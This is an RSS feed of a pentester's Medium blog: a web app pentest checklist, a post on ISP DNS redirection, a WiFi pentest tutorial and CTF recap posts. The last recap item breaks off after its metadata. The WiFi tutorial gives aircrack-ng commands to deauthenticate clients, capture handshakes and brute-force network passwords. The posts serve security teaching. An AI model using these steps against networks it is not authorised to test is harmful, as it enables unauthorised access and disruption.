<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by twinkle on Medium]]></title>
        <description><![CDATA[Stories by twinkle on Medium]]></description>
        <link>https://medium.com/@hannrul?source=rss-2934217dc636------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*pCJ3mN1P1IvA7LXxqdXrtA@2x.jpeg</url>
            <title>Stories by twinkle on Medium</title>
            <link>https://medium.com/@hannrul?source=rss-2934217dc636------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 14:13:18 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hannrul/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Pentest Checklist✅]]></title>
            <link>https://hannrul.medium.com/pentest-checklist-a7d7a11ff9d4?source=rss-2934217dc636------2</link>
            <guid isPermaLink="false">https://medium.com/p/a7d7a11ff9d4</guid>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[web-app-pentesting]]></category>
            <category><![CDATA[checklist]]></category>
            <dc:creator><![CDATA[twinkle]]></dc:creator>
            <pubDate>Wed, 04 Jun 2025 04:11:17 GMT</pubDate>
            <atom:updated>2025-06-10T01:26:39.879Z</atom:updated>
            <content:encoded><![CDATA[<p>For more than a year working in the industry as a penetration tester, I realized that it is important to have my own notes, cheat list (or in other words, I called it as hacking tricks where I <em>conteng</em> a lot) and work checklist.</p><p>Hence, I decided to share a checklist that I use as reference to perform web application penetration testing. While my personal checklist would be a more extended version of this, I encourage you to create your own checklist tailored to your needs, using the one I share in this blog as a reference.</p><p>I hope you find it useful of your needs and feel free to share it around too! ^^</p><pre>---<br><br>&lt;b&gt;Web App Pentest Checklist&lt;/b&gt;<br><br>🔎 1. Information Gathering<br>[ ] Identify subdomains and alternate hosts<br>[ ] Detect web server &amp; software versions (whatweb, wappalyzer)<br>[ ] Identify frameworks (Laravel, Django, etc.)<br>[ ] Collect robots.txt, sitemap.xml<br>[ ] Review HTTP headers (server, CSP, HSTS, etc.)<br>[ ] Check for exposed files (.git, .env, backup files)<br>[ ] Enumerate directories (gobuster, dirsearch)<br>[ ] Look for hidden parameters (ParamSpider, burp)<br><br>---<br><br>🔐 2. Authentication &amp; Session Management<br>[ ] Check for weak or default credentials<br>[ ] Test login, registration, forgot password<br>[ ] Look for account enumeration via error messages<br>[ ] Check session tokens (predictability, length, randomness)<br>[ ] Check for session fixation or hijacking<br>[ ] Test logout, session timeout, and cookie invalidation<br><br>---<br><br>📤 3. Input Validation &amp; Injection<br>[ ] Test all input fields for:<br>[ ] SQL Injection (SQLi)<br>[ ] Cross-site Scripting (XSS) - Reflected, Stored, DOM<br>[ ] Command Injection<br>[ ] Server-Side Template Injection (SSTI)<br>[ ] XML External Entity (XXE)<br>[ ] Local File Inclusion (LFI) / Remote File Inclusion (RFI)<br>[ ] Test HTTP parameters, headers, cookies<br><br>---<br><br>🔄 4. Access Control<br>[ ] Check horizontal privilege escalation (user A accessing user B&#39;s data)<br>[ ] Check vertical privilege escalation (regular user accessing admin features)<br>[ ] Test for direct object reference (IDOR)<br>[ ] Bypass access control mechanisms (e.g., hidden links, direct URLs)<br><br>---<br><br>🗃 5. File Uploads<br>[ ] Upload various file types (e.g., .php, .exe, .js, double extensions)<br>[ ] Try content-type bypasses<br>[ ] Check where uploads are stored<br>[ ] Check if uploaded files are executed (RCE possibility)<br><br>---<br><br>📡 6. Business Logic Flaws<br>[ ] Test for workflow abuse (e.g., price tampering, coupon reuse)<br>[ ] Check multi-step processes for logic bypasses<br>[ ] Modify parameters to manipulate outcomes<br><br>---<br><br>🛡 7. Security Misconfigurations<br>[ ] Check for default pages, test environments, or debug info<br>[ ] Look for exposed admin panels<br>[ ] Weak CORS policies<br>[ ] Directory listing enabled<br>[ ] Check for open ports with nmap<br><br>---<br><br>🔐 8. HTTPS &amp; TLS<br>[ ] Check for SSL/TLS misconfigurations (ssllabs.com, testssl.sh)<br>[ ] Check for mixed content<br>[ ] Enforce HTTPS with HSTS<br><br>---<br><br>🎣 9. Client-Side Issues<br>[ ] JavaScript source code review (look for secrets, APIs)<br>[ ] Test browser storage (localStorage, sessionStorage, IndexedDB)<br>[ ] Look for insecure use of eval() or document.write()<br>[ ] Test DOM-based XSS<br>[ ] Check for CSRF protection<br><br>---<br><br>📦 10. APIs (if present)<br>[ ] Enumerate endpoints (Swagger, JS, fuzzing)<br>[ ] Test for broken authentication<br>[ ] Fuzz input for injection flaws<br>[ ] Check rate limiting<br>[ ] Test authorization per endpoint<br>[ ] Analyze GraphQL (if present)<br><br>---<br><br>🎯 11. Miscellaneous<br>[ ] CSRF testing (on forms and state-changing actions)<br>[ ] Check for open redirects<br>[ ] Analyze cookies (secure, httpOnly, SameSite flags)<br>[ ] Check caching behavior<br>[ ] Look for rate-limiting or brute-force protections<br><br>---<br><br>[Optional]🧾 12. Reporting<br>[ ] Document each finding with:<br>- Title<br>- Description<br>- Proof of Concept (PoC)<br>- Risk Level<br>- Recommendation<br>- Mitigation Steps</pre><p>For domain 12 that is reporting, I set it as optional as companies usually have their own respective format and template for reports. As the template are usually auto-generated or replicated as accordance to respective format and template set, I find it less necessary as a part of checklist. But, we might sometime forget to change the title of the report according to assessment types, date of assessment and so on. Hence, it is better to be safe.</p><p>Until then, toodle-loo👋</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a7d7a11ff9d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Part 1: Will redirecting DNS traffic protect users from malicious sites?- A wonder]]></title>
            <link>https://hannrul.medium.com/part-1-will-redirecting-dns-traffic-protect-users-from-malicious-sites-a-wonder-9e749883b63f?source=rss-2934217dc636------2</link>
            <guid isPermaLink="false">https://medium.com/p/9e749883b63f</guid>
            <category><![CDATA[internet-service-provider]]></category>
            <category><![CDATA[dns]]></category>
            <dc:creator><![CDATA[twinkle]]></dc:creator>
            <pubDate>Thu, 26 Sep 2024 09:44:24 GMT</pubDate>
            <atom:updated>2024-09-26T10:52:20.027Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello. It has been a while. I have been casually writing my notes but there were no full actual report or proper write ups because I have no idea how to write properly these days — RIP to my writing skills.</p><p>In this blog update, this post shall be more towards open to discussion and self-thoughts based on the revolving topic of the recent kept in view implementation of:</p><blockquote>“The Internet Service Providers (ISPs) to redirect Domain Name Service (DNS) traffic that uses third-party DNS servers back to their own DNS servers to ensure that users continue to benefit from the protection provided by the local ISP’s DNS servers and that malicious sites are inaccessible”.</blockquote><p>Before we delve deeper, let’s clarify what DNS and ISP mean in the context of this study. These are my definitions and summaries based on my understanding. If you have additional insights or different perspectives, please share them!</p><h4><strong>What is ISP?</strong></h4><p>ISP is an acronym for Internet Service Provider, which is a company(s) that provides internet access to customers. As they provides us with internet access, we are able to connect to the World Wide Web. But who are they? Of course, they are your telco and internet providers.</p><p>From WhatsApp to your Shopee, Gmail to Google-fu, Spotify to YouTube, ISP has been helping you by providing the internet connection that allows you to ‘stay alive’ in all of these platforms through various services such as your home WiFi, mobile data for wireless cellular connections and broadbands.</p><h4><strong>What is DNS?</strong></h4><p>DNS, or its full name, Domain Name System is easily explained and described as the phonebook of the internet. To make up with the possible generation gap here — a phonebook is just like the contact application in our smartphones, except that it has everyone’s phone number. Yes, kids. Back in the days, we have a book that has everyone in the country’s phone number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*9LiwE03EH-pILZLd.gif" /><figcaption>Image from: <a href="https://images.app.goo.gl/8SuzFanQ2uisvwFR6">https://images.app.goo.gl/8SuzFanQ2uisvwFR6</a></figcaption></figure><p><strong>Here is the analogical example of how DNS works:</strong></p><p>Imagine running into a long-lost friend from primary school at a cafe. You have a great time catching up, but he has to leave quickly, and in the rush, you both forget to exchange phone numbers. As you wish to reconnect, you decide to look up his number in a phonebook. Once you find it, you give him a call and pick up right where you left off.</p><p>When browsing the internet, we often encounter a specific wording structure in the search bar known as the URL (Uniform Resource Locator). Let’s break down the structure of a URL to better understand its components.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JWaNZU94qAT7Gj6k.png" /><figcaption>Image from: <a href="https://images.app.goo.gl/b5m6NAkUDZw9XwAt8">https://images.app.goo.gl/b5m6NAkUDZw9XwAt8</a></figcaption></figure><p>As users browse over the net by either entering the domain name of the website (such as <a href="http://www.medium.com/">www.medium.com</a>) or just the name of the web application or site (such as Youtube or Medium), Domain Name System (DNS) task is to translate these domain names into IP addresses (such as 142.250.72.206) that computers use to identify each other and communication across network. Do note that computers does not read alphabetical letters just like human texts. Computers and servers read and interact in numerical format that will then be translated into human readable text which then allows human to read.</p><p>Here is a simple breakdown of how DNS works:</p><ol><li>User will enter the address of website in the browser.</li><li>The computer will send out a query to the DNS Server for the IP address that is used/associated with the domain name.</li><li>DNS Server will then lookup to its library to find the IP address of the domain and returns the request back to user’s computer.</li><li>Once the IP address is identified, the computer will then connects to the website of the server and loads the page.</li></ol><p>But wait…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/0*1fihQ4VaY9YrQ626.gif" /><figcaption>Image from: <a href="https://images.app.goo.gl/7ArTDm7uL7VoVeu8A">https://images.app.goo.gl/7ArTDm7uL7VoVeu8A</a></figcaption></figure><p>What is the correlation between ISP and DNS then? How is it that redirecting the DNS traffic to ISP for filtering request submitted by users before forwarding the request to DNS server is causing trouble? What is this issue giving?</p><p><strong>How does ISP and DNS related?</strong></p><p>Remember how ISP helps use to connect to the internet by providing it to us? Now let us go back to how the query is sent out.</p><p>Once a request is made by user in the browser, the prompt will be sent out as a request to the DNS server of ISP. We need to understand the world of servers and internet communicate in the form of numerical known as Internet Protocol (IP) address. As ISP acts as the bridge of connecting devices (users) with the internet realm, they must have their own ‘phonebook’. Every ISP has their own respective DNS server to store database of the available domains with their respective IP addresses. The general idea is that once the query is found, the device will then be connected to the website.</p><p>Imagine having to translate from English to Mandarin for example, one needs to have a bilingual dictionary in order to learn the other language. Here, the DNS server of ISP acts as the translator of the request from user made through devices before looking it up into the internet. As the query is found, the browser will then be connected to the server and webpage prompted.</p><p>But what if DNS server of ISP could not answer the DNS query submitted? What if they do not have it in their server? Is such situation even possible? Aren’t internet supposed to know and have it all?</p><p>Remember on the way how DNS works? We are going to jump in slightly deeper here. I try my best to make it as simple as I can ^^</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qfb8PgDYpIvkCbQOm1pP4w.png" /><figcaption>A simple map on the flow of DNS Search</figcaption></figure><p>DNS query will go through four DNS servers for it to obtain the right IP address for the URL prompted. The flow of DNS search is as follows:</p><ol><li><strong>DNS recursor</strong>: This DNS server receives query from client and communicates with other servers to find the right IP address of the query. When query is submitted by user, DNS recursor will first check in the local cached data whether the submitted request is available in their DNS record. If the request is available in the local cached data, DNS recursor will return back the request with the prompted page. However if it is not available, it will then proceed the request to launch for DNS search, by sending request to root nameserver, followed by TLD and authoritative nameservers backforth.</li><li><strong>Root nameserver</strong>: Once query is made and enters search zone, the request will trigger root nameserver to start for DNS lookup. This lookup will go down the hierarchy of DNS system and redirect the request to the right TLD server. Imagine searching for a book in a library, root nameserver can best be explained as the directory that shows you which section the book is located at.</li><li><strong>TLD nameserver</strong>: TLD comes right after the final dot of domain name, such as <a href="http://example.com/">example.com</a>, <a href="http://example.net/">example.net</a> and <a href="http://example.org/">example.org</a>. Once the TLD is identified, DNS recursor will start communicating with TLD server by providing the IP address of the query. TLD best explain as the index that shows which shelf the book located at.</li><li><strong>Authoritative nameserver</strong>: Imagine you need to define a specific word, you would need a dictionary that tells you the actual meaning that the word carries. Hence, that is authoritative nameserver. When DNS recursor could not identify the query made by user in its cache locally, it will contact authoritative nameserver to provide the ‘location’ (that is the IP address) of the request. Authoritative nameserver contains all sources of the domain across web which differs from a recursor which is bounded to locating the query based on cache data stored by ISP.</li></ol><h4><strong>The concerns and controversial condition</strong></h4><p>With the rise of illicit content, gambling, scam websites, and other malicious online activities, public concern has grown over the increasing number of crimes reported in the mass media. This concern is heightened by numbers of cases where the perpetrators and suspects are children under 19 years old.</p><p>The policy discussed in this blog, which was originally meant to be enforced, has sparked various opinions and debates among the public, particularly disagreements from the local tech-savvy community.</p><ul><li><strong>Long list of blocked and restricted sites delaying query process</strong></li></ul><p>While the original policy of DNS blocking to restrict access to sites that violate the country’s laws has been in place for quite some time, it does not seem as effective as intended. This is because the list of sites to be blocked continually grows, making it increasingly lengthy and difficult to manage.</p><p>As ISP must comply with the mandatory requirements to ensure that their business and service remains, imagine having a long block list that the DNS server of ISPs need to process before sending the actual query, it will of course delay the process.</p><ul><li><strong>Dynamic nature of internet having the site remains accessible</strong></li></ul><p>Besides that, the policy seems to be only working at the surface level as the nature of the internet itself is dynamic. This is because websites are able to change their IP addresses and hostnames.</p><p>Years have passed, yet sites with malicious content remain accessible and continue to be a hot topic among netizens and the public, especially with the rise in online threats like scams, malware attacks, and more. Imagine a lengthy, ever-growing list of IP addresses that need to be blocked due to the dynamic nature of the internet. This constant expansion slows down the DNS server as it must filter through the prohibited addresses before finding and redirecting the user to their requested site.</p><p>This has fueled a growing public perception that cybercriminal activity and unethical content remain widespread and easily accessible. As a result, the proposal to redirect DNS traffic from third-party DNS servers back to ISP servers to block malicious sites has sparked significant debate and disagreement among the public and experts alike.</p><ul><li><strong>Invasion of privacy and surveillance concerns</strong></li></ul><p>Remember that ISPs have DNS servers containing datasets of domain names and their corresponding IP addresses, which are used to translate query requests from browsers. ISPs can “see” the websites users browse and even store them in their cache for quicker access to frequently visited sites. Hence, prompted queries are known and can be observed by ISPs.</p><p>Let’s revisit how DNS queries work. When a request is made, it first goes to the ISP’s DNS recursor. The recursor checks its local cache data to see if the requested web page is already stored and ready to load. If no information is found, the query proceeds to DNS search, which involves searching from root to authoritative nameservers. Remember, it first checks the DNS recursor of ISPs to see if it’s stored in their cache data. This highlights that ISPs have access to “know and see” what users browse, raising privacy concerns and potential DNS spoofing attacks, which we’ll discuss later.</p><p>We’re just browsing the internet, but have you ever wondered how it can be this intriguing — full of interesting features yet simultaneously scary? So, what’s next? Shall we move on to part 2 and dive into the technical aspects?</p><p>***credits to my mentor, seniors and friends for cross-checking and giving me some ideas ^^</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9e749883b63f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WiFi Pen-testing]]></title>
            <link>https://hannrul.medium.com/wifi-pen-testing-5fdd59f30d1a?source=rss-2934217dc636------2</link>
            <guid isPermaLink="false">https://medium.com/p/5fdd59f30d1a</guid>
            <category><![CDATA[wifihacking]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[twinkle]]></dc:creator>
            <pubDate>Fri, 14 Jun 2024 04:51:18 GMT</pubDate>
            <atom:updated>2024-06-28T22:50:29.469Z</atom:updated>
            <content:encoded><![CDATA[<p>Phew, my last post was 3 months ago and I have yet to finish my 2023 wrap up update in the blog..? My apology for that. Let us all pray I have enough energy, idea, time and consistency to complete them before we reach the end of 2024 :)</p><p>In this post, I shall just share some notes on how I do wireless (or Wifi) pen-testing that I learnt during my internship from a senior and further study. With that, let’s proceed to the main point of this blog post!</p><h4>Disclaimer</h4><blockquote>The content provided on this blog is intended solely for educational and informational purposes. The techniques, tools, and methods discussed are for ethical use to improve understanding and knowledge in cybersecurity.</blockquote><ul><li><a href="#3241"><strong>Definition</strong></a><strong><br>• </strong><a href="#030d"><strong>Requirements</strong></a><strong><br>−− </strong><a href="#a772"><strong>Tools and information required</strong></a><strong><br>−− </strong><a href="#5335"><strong>Why is it necessary to have wireless adapter</strong></a>?<strong><br>• </strong><a href="#f85c"><strong>Steps</strong></a><strong><br>−− </strong><a href="#a019"><strong>Step 1: Enable and verify monitor mode</strong></a><strong><br>−− </strong><a href="#6805"><strong>Step 2: Identify network and Packet capturing</strong></a><strong><br>−− </strong><a href="#76dc"><strong>Step 3: De-authentication process</strong></a><strong><br>−− </strong><a href="#1cbe"><strong>Step 4: Password cracking</strong></a><strong><br>• </strong><a href="#6756"><strong>Conclusion</strong></a></li></ul><h3>Definition</h3><p>WiFi Pen-test is just like any other pen-test in terms of approach and methodology, however the implementation is towards wireless network. How is that so?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XLWg2cUgfZwigx7U8uYIBA.png" /></figure><p>This is because wireless (or WiFi in short) pen-test is a security evaluation over the wireless network on site. During the assessment, pen-testers will identify and examine vulnerabilities of the connection used. Do note that it is compulsory to be within the range of network to perform a wireless pen-testing.</p><h3>Requirements</h3><h4>Tools and information required</h4><p>Ensure that the following tools are required to perform the activity:</p><ol><li>Wireless Adapter that supports monitoring mode.</li><li>Kali Linux — Aircrack-ng, Airodump-ng, Airmon-ng, seclists (or any other wordlist that one has).</li><li>WiFi network.</li><li>SSID.</li></ol><h4>Why is it necessary to have wireless adapter?</h4><p>Having WiFi dongle or wireless adapter significantly improves the signal range and strange. While we know that laptops have their own built-in wireless card, it usually does not supports monitor mode. Having a dongle that supports monitor mode allows you to sniff packets and perform packet injection.</p><h3>Steps</h3><h4>Step 1: Enable and verify monitor mode</h4><p>It is compulsory that the WiFi adapter (or dongle) is in monitor mode before proceeding to the next step. Monitor mode allows wireless adapter to capture packets in the traffic of any destination address.</p><p>On VMware, go to VM tab and choose for Network Adapter and click on connect. Ensure that the dongle in used for this assessment is connected to VMware and Kali Linux.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*8jkuCQ7cS1HZuM0y66MWTg.png" /><figcaption>Ensure that the network adapter is connected to the machine by checking at the network adapter tab.</figcaption></figure><p>Then, proceed to terminal and enter the following command:</p><pre>iwconfig</pre><p>This command allows us to check and verify on the status of WLAN interface. In some circumstances, the monitor mode may not be enabled and requires us to enable it manually using the command below:</p><pre>airmon-ng start &lt;specified wireless interface used&gt;</pre><h4>Step 2: Identify network and Packet capturing</h4><p>In this step, we need to first perform a network discovery by using the following prompt:</p><pre>sudo airodump-ng &lt;specified wireless interface used&gt;</pre><p>The above prompt allows you to scan for the network which allows you identify and analyze the traffic. Post network discovery, you will obtain the BSSID and channel of the targetted network.</p><p>Hence, proceed to prompt for the following command:</p><pre>sudo airodump-ng &lt;specified wireless interface used&gt; -c &lt;channel&gt; --bssid &lt;BSSID&gt;</pre><p>The prompt includes obtaining necessary information of the network that shall be used for the assessment, which are BSSID (MAC address of the access point), channel, encryption type, signal strength, and number of clients connected. Besides that, the MAC address of client’s devices that are connected in the network shall also be detected.</p><p>Then, save the captured packets in your directory using the following command:</p><pre>sudo airodump-ng &lt;specified wireless interface used&gt; -c &lt;channel&gt; --bssid &lt;&gt; -w &lt;directory to save the captured packets&gt;</pre><h4>Step 3: De-authentication process</h4><p>De-authenticate process is required to disrupts the existing connection between device and network to capture handshake packets that is required to crack the passwords. To de-authenticate, enter the command below:</p><pre>aireplay-ng --deauth 0 -a &lt;bssid&gt; -c &lt;channel&gt; &lt;specified wireless interface used&gt;</pre><h4>Step 4: Password cracking</h4><p>Password cracking can only be done after capturing the packets from previous step. While various wordlist can be used (brute-forcing), it is important to understand that this step relies on other aspects that is the length and complexity of the password in used. Hence, the variable remains afloat.</p><p>Use the command below to crack the password:</p><pre>sudo aircrack-ng -w &lt;brute force password wordlist&gt; -b &lt;BSSID&gt; &lt;captured packets file name&gt; </pre><h3>Conclusion</h3><p>Understanding the ROE (Rules of Engagement) made for penetration testing is important to ensure that the assessment run is within the agreed scope between both parties involved — that is client and testers.</p><p>Ethical hacking and/or penetration testing revolves in identifying the vulnerabilities of the tested environment to increase the security. It is important to adhere to the standards and ethical guidance while exploring deeper.</p><p>Until the next update, toodle loo~~</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5fdd59f30d1a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Recap 2023: Part 2 — Blog debut, CTF and becoming challenge creator]]></title>
            <link>https://hannrul.medium.com/recap-2023-part-2-blog-debut-ctf-and-becoming-challenge-creator-2dddd4bda20e?source=rss-2934217dc636------2</link>
            <guid isPermaLink="false">https://medium.com/p/2dddd4bda20e</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[challenges-and-growth]]></category>
            <category><![CDATA[ctflearn]]></category>
            <category><![CDATA[2023]]></category>
            <dc:creator><![CDATA[twinkle]]></dc:creator>
            <pubDate>Sat, 13 Jan 2024 09:19:46 GMT</pubDate>
            <atom:updated>2025-04-06T12:36:13.664Z</atom:updated>
            <content:encoded><![CDATA[<h3>Recap 2023: Final Part— Blog debut, CTF and becoming challenge creator</h3><p><strong><em>Hello, everyone!</em></strong></p><p>As mentioned previously, this blog update shall be the finalpart of last year’s recap and shall be used as my LinkedIn post. (killing two birds with a stone hahaha) With that, let’s continue recapping my journey of 2023!</p><h4>Table of Content</h4><p><strong>∘ </strong><a href="#783e"><strong>Blog Debut </strong></a><strong><br> ∘ </strong><a href="#5cbf"><strong>Challenge creation — Creating and releasing my first baby</strong></a><strong><br> ∘ </strong><a href="#eecb"><strong>Facing fear and playing CTF again</strong></a><strong><br> ∘ </strong><a href="#9261"><strong>Growing with BahteraSiber as Che Embun Delima</strong></a><strong><br> ∘ </strong><a href="#98bf"><strong>Enjoying Hacktober as birthday celebration</strong></a><strong><br> ∘ </strong><a href="#e87a"><strong>Dipping feet into web and forensics for GOH</strong></a><strong><br> ∘ </strong><a href="#4d52"><strong>Wrapping up the year with BOH and winning Girl’s CTF</strong></a></p><h4>Blog Debut</h4><p>Kickstarted last year by creating a blog and debuted the blog with Nezuko Vulnerable Machine write-up to the public, I must admit, I really did a crazy job and am low-key proud of it (lol). I would like to thank the box creator, Yuna, for giving me the tips while solving the box. I was still fresh, baby stepping into cybersecurity and I only knew about CTF at that time, trying and struggling to get a grasp and understanding of the fundamentals of cybersecurity, and was shocked with myself for being able to solve it. I must say, solving the box was one of my goals for last year, and managing to solve it and contributing a write-up was really euphoric for me personally.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V-lDaWZvOgxNQG_v3kEF1w.png" /><figcaption>My first publish was about forensics but publicly exposed the existence of this blog through this box’s write-up.</figcaption></figure><p><a href="https://hannrul.medium.com/nezuko-vm-writeup-tbc-21a4a339cb2a"><strong><em>Read more here</em></strong></a>!</p><h4>Challenge creation — Creating and releasing my first baby</h4><p>Continuing the journey with the release of my first vulnerable machine, named HopHopJump. I again would like to thank Yuna, Ezaly, and Amirul for helping me out through the creation of the box. The creation of the box was intended to be one of the challenges for my university’s internal CTF. I still remember during the meeting session where the 8 of us (challenge creators) were discussing which and what challenge should we make for the game. And there I was, sitting behind the camera, as someone who has always keen to explore more and loves to challenge myself, told Rafiq who was the team lead and Ezaly who was the project manager for UniKL Internal CTF 2023, ‘Hey, I want to try to make the boot2root challenge’. I am so grateful for the opportunity given to develop the challenge and mark another goal of mine in 2023 to success, which is to release my own box.</p><p><a href="https://hannrul.medium.com/hophopjump-walkthrough-part-1-7376c42ddcd3"><strong><em>Read more here!</em></strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*Fmp238Ev8o3dTcgBxq8ikw.png" /><figcaption>Bunny hopping around &gt;&lt;</figcaption></figure><h4>Facing fear and playing CTF again</h4><p>Wrapping up my final semester, I decided to dip my feet back again into playing CTF — bak kata orang, buat ghaso ghaso. I once told my lecturers and teammates about pensioning from playing CTF because of how overwhelming it was for me on my final game in 2022; Yes, iHack 2022 had a huge impact on me personally. I had a fever returning home done quite a long self-reflection (to the extent that I wanted to stop playing CTF) and wanted to focus solely on study, polishing skills through courses and certs. But hey, the encouragement I got from my teammates Rafiq and Ezaly truly helped. We were in a shortage of teammates, and Ezaly suggested giving one of our juniors, Affan, a try. This new combo in fact brought us to winning the 2nd runner-up for UTAR Inaugural CTF. I thank them loads and still thank them for the teamwork we had!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LcE28bpJB0u3EzMKEVOpuw.png" /><figcaption>Winning my first game of the year together with them again!</figcaption></figure><h4>Growing with BahteraSiber as Che Embun Delima</h4><p>In celebrating the month of Malaysia Independent Day, being a part of BahteraSiber was truly amazing. I was assigned to develop questions for cryptography and steganography for the annual Merdeka 3108 CTF and acted as Che Embun Delima on D-day! It was shocking to see a lot of participants participating. Being both one of the challenge creators and admin, answering tickets opened by participants made me realized ‘Oh, so this is how it felt like to be the overlord online’. I would like to congratulate the members of BahteraSiber for their dedication to running the annual event. Although I am no longer a part of them now, the memories of being together still linger and I keep warm in my heart.</p><p><a href="https://www.linkedin.com/posts/nurulhanan791_connections-capturetheflag-activity-7125306645563244544-KzA0?utm_source=share&amp;utm_medium=member_desktop"><strong><em>Read more here!</em></strong></a></p><h4>Enjoying Hacktober as birthday celebration</h4><p>Enjoying my birthday month by playing CTF, who would think about that? Well, funnily for me, the month of October is not just my birthday month, but also the month of world cybersecurity awareness. And there I was, instead of celebrating, I forgo the plan I had for my birthday and returned back to KL just to participate in the PETRONAS CTF again with my fellow mates, Affan, Rafiq, and Ariffin. Being different from other teams for the first round, two of us were playing remotely due to them undergoing quarantine and fever while the other two (me being one of them of course) attended the game physically with Affan. I guess the two folks at home were guilt-tripped for not being able to attend physically had made them rushed in capturing the flags and you bet, we managed to be the only team representing our university in the final round! Here’s an honorable mention to the challenge creator for the game as several challenges were referenced from Merdeka 3108 CTF. As a challenge creator myself, seeing my own challenge being referenced from was honorable. Thank you so much.</p><p><a href="https://www.linkedin.com/posts/nurulhanan791_linkedin-connections-ctf-activity-7117869105986105345-meb6?utm_source=share&amp;utm_medium=member_desktop"><strong><em>Read more here!</em></strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1ULnJzeYgUV-xToaUNyoEg.png" /><figcaption>Started to countdown my final games to represent my uni!</figcaption></figure><h4>Dipping feet into web and forensics for GOH</h4><p>Continuing with UniKL Game of Hackers (GOH) 2023, as an intern, to be given the opportunity by my internship company, honorable mention to my supervisor at Nexagate, Mr. Khairul Anwar, Tuan Faisal, and Oscar for practically scouted me to be one of the challenge creators and offered me a chance of personal growth by allowing me to develop challenges of my interests which were web and forensics was such a thrilling moment. I still remember during NXCA, I told Tuan Faisal that I wanted to learn and know all. Hence, with the opportunity given, I took the courage to develop two challenges (well there were 3 challenges created however, but only 2 of it was able to be deployed during the game due to technical issues). I had to reach out to Haziq and Firdaus to learn from them directly on both topics and making my idea into realization! Besides that, I was also taught on how to manage and maintain the servers and platform during the game by Helmi and Siva. It was, I must say, one of my favorite experiences as I was able to learn it hands-on!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HAIMD42HVSqnEAWwSleP-Q.jpeg" /><figcaption>Nexagate X UniKL</figcaption></figure><p><a href="https://medium.com/@hannrul/walkthrough-goh-ctf-2023-884cb6bb95e7"><strong><em>Read more here!</em></strong></a></p><h4>Wrapping up the year with BOH and winning Girl’s CTF</h4><p>Represented my university again for one last time for the year in Battle of Hacker (BOH) 2023, I wrapped up the game together with my mates, Rafiq and Affan. We decided to take a chill pill in the game (especially Rafiq, for real). I told them that I want to end my representation for university in CTF with odd number and the two of them agreed. And we did! I ended my game to represent the university for CTF with a total of 3 games.</p><p>However, my final game of the year ended with the first-ever Girl’s CTF. At first, I was slightly reluctant to participate in the game. However, after a conversation I had with the father of MCC, Mr Yap, he really encouraged me to participate in this CTF. Hence, I decided to ‘okay, jalan je’. Together with Shiau Huei, we managed to win the 1st runner-up for the game. The victory became even more poignant given that I was down with a fever for two weeks (previously mentioned was a week, but it got bad and extended to two) and Shiau Huei’s commitment despite having an examination on the competition day. I can never thank her enough.</p><p><a href="https://hannrul.medium.com/gctf-2023-write-up-8b24614fada7"><strong><em>Read more here!</em></strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u0xYmMWzhHuLdhfiee9fvQ.png" /><figcaption>The winners were announced later the evening</figcaption></figure><p>That is all for this blog post! C-ya!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2dddd4bda20e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Recap 2023: Part 1 — GCC 2023, Conferences and MCC 2023]]></title>
            <link>https://hannrul.medium.com/recap-2023-part-1-33b6ca4e5268?source=rss-2934217dc636------2</link>
            <guid isPermaLink="false">https://medium.com/p/33b6ca4e5268</guid>
            <category><![CDATA[camp]]></category>
            <category><![CDATA[conference]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[talks]]></category>
            <dc:creator><![CDATA[twinkle]]></dc:creator>
            <pubDate>Thu, 11 Jan 2024 07:53:01 GMT</pubDate>
            <atom:updated>2025-04-06T12:37:11.697Z</atom:updated>
